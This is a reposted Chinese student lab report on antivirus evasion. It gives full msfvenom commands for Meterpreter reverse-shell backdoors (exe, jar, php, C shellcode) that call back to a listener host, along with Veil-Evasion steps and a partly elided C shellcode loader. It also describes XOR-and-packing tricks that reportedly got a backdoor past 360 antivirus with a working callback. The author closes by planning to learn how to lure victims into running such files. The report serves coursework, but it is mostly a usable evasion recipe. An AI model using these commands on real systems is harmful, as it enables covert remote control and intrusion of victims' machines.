热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

20155312张竞予Exp3免杀原理与实践

Exp3免杀原理与实践目录基础问题回答(1)杀软是如何检测出恶意代码的?(2)免杀是做什么?(3)免杀的基本方法有哪些?实验总结

Exp3 免杀原理与实践

目录

  • 基础问题回答
    • (1)杀软是如何检测出恶意代码的?
    • (2)免杀是做什么?
    • (3)免杀的基本方法有哪些?
  • 实验总结与体会
  • 实践过程记录
    • 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
    • 通过组合应用各种技术实现恶意代码免杀
    • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
  • 离实战还缺些什么技术或步骤?

    基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 特征码:经过对许多恶意代码的分析,我们发现了恶意代码所共有的一段代码,我们把它看成特征码,那么只要是带有这段特征码的就视为病毒;
  • 启发式恶意软件检测:就是如果一个程序在做恶意代码通常做的事,那就把它当做恶意代码;
  • 基于行为的恶意软件检测:是一种启发式恶意软件检测。

(2)免杀是做什么?

就是利用一些手段伪装我们的后门文件,最终达到其潜伏在被控主机中且不被被控主机中的杀毒软件检测出来。

(3)免杀的基本方法有哪些?

  • msfvenom编码
  • veil-evasion
  • C+shellcode
  • 加壳
  • 异或等运算变换

返回目录


实践过程记录

一、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;

(1)正确使用msf编码器

  • 把实验二中生成的后门程序改名为“zjy_backdoor.exe”后放到virscan网站中扫描结果如下:

  • 用VirusTotal扫描后结果如下:

可见不加任何处理的后门程序能够被绝大多数杀毒软件识别,那么我们尝试用msf编码器对后门程序进行一次到多次的编码,看看是否对免杀有所作用。

  • 一次编码使用命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.217.128 LPORT=443 -f exe > met-encoded.exe
    • "-e"即编码
  • 十次编码使用命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.217.128 LPORT=443 -f exe > met-encoded10.exe
    • "-i"指定编码个数

编码十次后生成的可执行文件如下所示:

将编码十次后的可执行文件上传到VirusTotal扫描后结果如下:

可见,编码对免杀没有太大效果,原因在于msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。所以一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。

(2)msfvenom生成jar文件

  • 生成Java后门程序使用命令:msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.217.128 lport=443 x> 20155312_backdoor_java.jar

生成的文件如下:

(3)msfvenom生成php文件

  • 生成PHP后门程序使用命令:msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.217.128 lport=443 x> 20155312_backdoor.php

生成的文件如下:

(4)msfvenom生成shellcode

  • 生成shellcode使用命令:msfvenom -pwindows/meterpreter/reverse_http lhost=192.168.217.128 lport=443 -f c

生成的shellcode如下:

【其他更多文件可以参考狄惟佳同学的博客】

(5)veil-evasion

1.首先下载veil,因为耗时太久网又太烂,所以用了老师的虚拟机,修改主机名的步骤如下:

  • 首先点击右上角的箭头->接着点击“有线”右侧小箭头,双击“有线设置”,如下图所示:

  • 第二步如果没有出现全部设置,则需要点击左上角后退箭头查看全部设置,如下图所示:

  • 接着进入系统设置中的共享设置,如下图所示:

  • 最后修改共享中的计算机名称,完成如下图所示:

2.第二步,我们有了实验所需的veil工具后,首先要启用veil,输入命令:veil;接着进入veil-evasion,在veil中输入命令:use evasion,如下图所示:

3.输入命令:use python/meterpreter/rev_tcp.py用python语言重写meterperter【注:这里用python后面会出错哦,不想尝试错误的话,直接把python改成c就好啦】,如下图所示(此时输入提示变为“[python/meterpreter/rev_tcp>>]”):

4.设置反弹连接IP,命令为:set LHOST 192.168.217.130,注意此处的IP是KaliIP;

5.设置端口,命令为:set LPORT 5312

6.输入generate生成文件,接着输入你想要playload的名字:playload5312

7.选择第一种默认方式生成:1

8.生成失败(如下图),换个方式重试,依次输入如下命令:veil->use evasion->list->use 28->set LHOST ……->set LPORT ……->generate->【输入名称】->1
尝试后同样不可以,如下图所示:

9.这说明应该是python这种语言不可以,所以按照同样的方法,我们选择别的语言,例如“c”试一下,就是把use 28改成use 7,或在第一种方法中把use python/meterpreter/rev_tcp.py改成use c/meterpreter/rev_tcp.py,其他步骤完全相同,最终成功的样子是这样滴:

10.去/var/lib/veil/output/compiled/playload5312.exe这个路径下找我们生成的exe文件,不好找的话直接使用命令:cp -r /var/lib/veil/output/compiled/playload5312.exe ~/zjy把这个文件复制到我们熟悉的路径下就可以啦~

11.最终用virscan工具查下试试,有没有起到免杀的效果,结果如下,10/39查出:

(6)C语言调用Shellcode版本

1.首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.217.130 LPORT=5312 -f c用c语言生成一段shellcode;

2.创建一个文件20155312.c,然后将unsigned char buf[]赋值到其中,代码如下:

unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
乖巧的听从老师指示,不能粘c代码,此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

3.使用命令:i686-w64-mingw32-g++ 20155312.c -o 20155312.exe编译这个.c文件为可执行文件:

4.在扫描软件上看看,有没有免杀,9/39有点作用:

返回目录


二、通过组合应用各种技术实现恶意代码免杀

先尝试只对shellcode进行加壳,扫描结果为8/39:

利用C语言调用Shellcode+异或+加壳实现了免杀,杀软扫描结果如下:

工具检测结果如下:5/39,还是有五个可以检测出来的。

返回目录


三、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

杀软名称:360,版本:11(11.0.0.2001)

用电脑实测回连成功截图如下:

返回目录


离实战还缺些什么技术或步骤?

感觉自己现在也只是会参考其他同学的博客,看看别人怎么实现了免杀自己再按照那个方向试试,但是缺乏自己的想法,真正的实战肯定是要啃难啃的骨头,别热嚼碎了的东西肯定是没有太大价值的,我觉得自己要是想真正具备上战场的能力,还是要多查询资料,多动脑。

此外,虽然程序能够实现免杀,但如何让被控主机运行它也是一个问题,所以接下来要对如何伪装、吸引被供给端点击这方面进行学习,我觉得这也是自己离实战缺乏的技术。

返回目录


实验总结与体会

通过本次实验,我了解到了免杀的概念、免杀的方法,熟练掌握了使用 VirusTotal、Virscan这些工具的方法,能够有条理、有目的的对后门动手实现一些免杀的处理,再一次温习了实验二中主机之间监听、控制的操作,加深了印象,总之,经过这次实练自己的动手能力和对知识的理解程度有了一定的提升。

返回目录


推荐阅读
  • 本文总结了Java中日期格式化的常用方法,并给出了示例代码。通过使用SimpleDateFormat类和jstl fmt标签库,可以实现日期的格式化和显示。在页面中添加相应的标签库引用后,可以使用不同的日期格式化样式来显示当前年份和月份。该文提供了详细的代码示例和说明。 ... [详细]
  • VScode格式化文档换行或不换行的设置方法
    本文介绍了在VScode中设置格式化文档换行或不换行的方法,包括使用插件和修改settings.json文件的内容。详细步骤为:找到settings.json文件,将其中的代码替换为指定的代码。 ... [详细]
  • Nginx使用(server参数配置)
    本文介绍了Nginx的使用,重点讲解了server参数配置,包括端口号、主机名、根目录等内容。同时,还介绍了Nginx的反向代理功能。 ... [详细]
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • Java String与StringBuffer的区别及其应用场景
    本文主要介绍了Java中String和StringBuffer的区别,String是不可变的,而StringBuffer是可变的。StringBuffer在进行字符串处理时不生成新的对象,内存使用上要优于String类。因此,在需要频繁对字符串进行修改的情况下,使用StringBuffer更加适合。同时,文章还介绍了String和StringBuffer的应用场景。 ... [详细]
  • 本文介绍了RPC框架Thrift的安装环境变量配置与第一个实例,讲解了RPC的概念以及如何解决跨语言、c++客户端、web服务端、远程调用等需求。Thrift开发方便上手快,性能和稳定性也不错,适合初学者学习和使用。 ... [详细]
  • CF:3D City Model(小思维)问题解析和代码实现
    本文通过解析CF:3D City Model问题,介绍了问题的背景和要求,并给出了相应的代码实现。该问题涉及到在一个矩形的网格上建造城市的情景,每个网格单元可以作为建筑的基础,建筑由多个立方体叠加而成。文章详细讲解了问题的解决思路,并给出了相应的代码实现供读者参考。 ... [详细]
  • 本文介绍了如何使用PHP向系统日历中添加事件的方法,通过使用PHP技术可以实现自动添加事件的功能,从而实现全局通知系统和迅速记录工具的自动化。同时还提到了系统exchange自带的日历具有同步感的特点,以及使用web技术实现自动添加事件的优势。 ... [详细]
  • 微软头条实习生分享深度学习自学指南
    本文介绍了一位微软头条实习生自学深度学习的经验分享,包括学习资源推荐、重要基础知识的学习要点等。作者强调了学好Python和数学基础的重要性,并提供了一些建议。 ... [详细]
  • 本文详细介绍了GetModuleFileName函数的用法,该函数可以用于获取当前模块所在的路径,方便进行文件操作和读取配置信息。文章通过示例代码和详细的解释,帮助读者理解和使用该函数。同时,还提供了相关的API函数声明和说明。 ... [详细]
  • 本文介绍了Java工具类库Hutool,该工具包封装了对文件、流、加密解密、转码、正则、线程、XML等JDK方法的封装,并提供了各种Util工具类。同时,还介绍了Hutool的组件,包括动态代理、布隆过滤、缓存、定时任务等功能。该工具包可以简化Java代码,提高开发效率。 ... [详细]
  • 本文介绍了C函数ispunct()的用法及示例代码。ispunct()函数用于检查传递的字符是否是标点符号,如果是标点符号则返回非零值,否则返回零。示例代码演示了如何使用ispunct()函数来判断字符是否为标点符号。 ... [详细]
  • 《数据结构》学习笔记3——串匹配算法性能评估
    本文主要讨论串匹配算法的性能评估,包括模式匹配、字符种类数量、算法复杂度等内容。通过借助C++中的头文件和库,可以实现对串的匹配操作。其中蛮力算法的复杂度为O(m*n),通过随机取出长度为m的子串作为模式P,在文本T中进行匹配,统计平均复杂度。对于成功和失败的匹配分别进行测试,分析其平均复杂度。详情请参考相关学习资源。 ... [详细]
  • 自动轮播,反转播放的ViewPagerAdapter的使用方法和效果展示
    本文介绍了如何使用自动轮播、反转播放的ViewPagerAdapter,并展示了其效果。该ViewPagerAdapter支持无限循环、触摸暂停、切换缩放等功能。同时提供了使用GIF.gif的示例和github地址。通过LoopFragmentPagerAdapter类的getActualCount、getActualItem和getActualPagerTitle方法可以实现自定义的循环效果和标题展示。 ... [详细]
  • 猜字母游戏
    猜字母游戏猜字母游戏——设计数据结构猜字母游戏——设计程序结构猜字母游戏——实现字母生成方法猜字母游戏——实现字母检测方法猜字母游戏——实现主方法1猜字母游戏——设计数据结构1.1 ... [详细]
author-avatar
兜妈是我
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有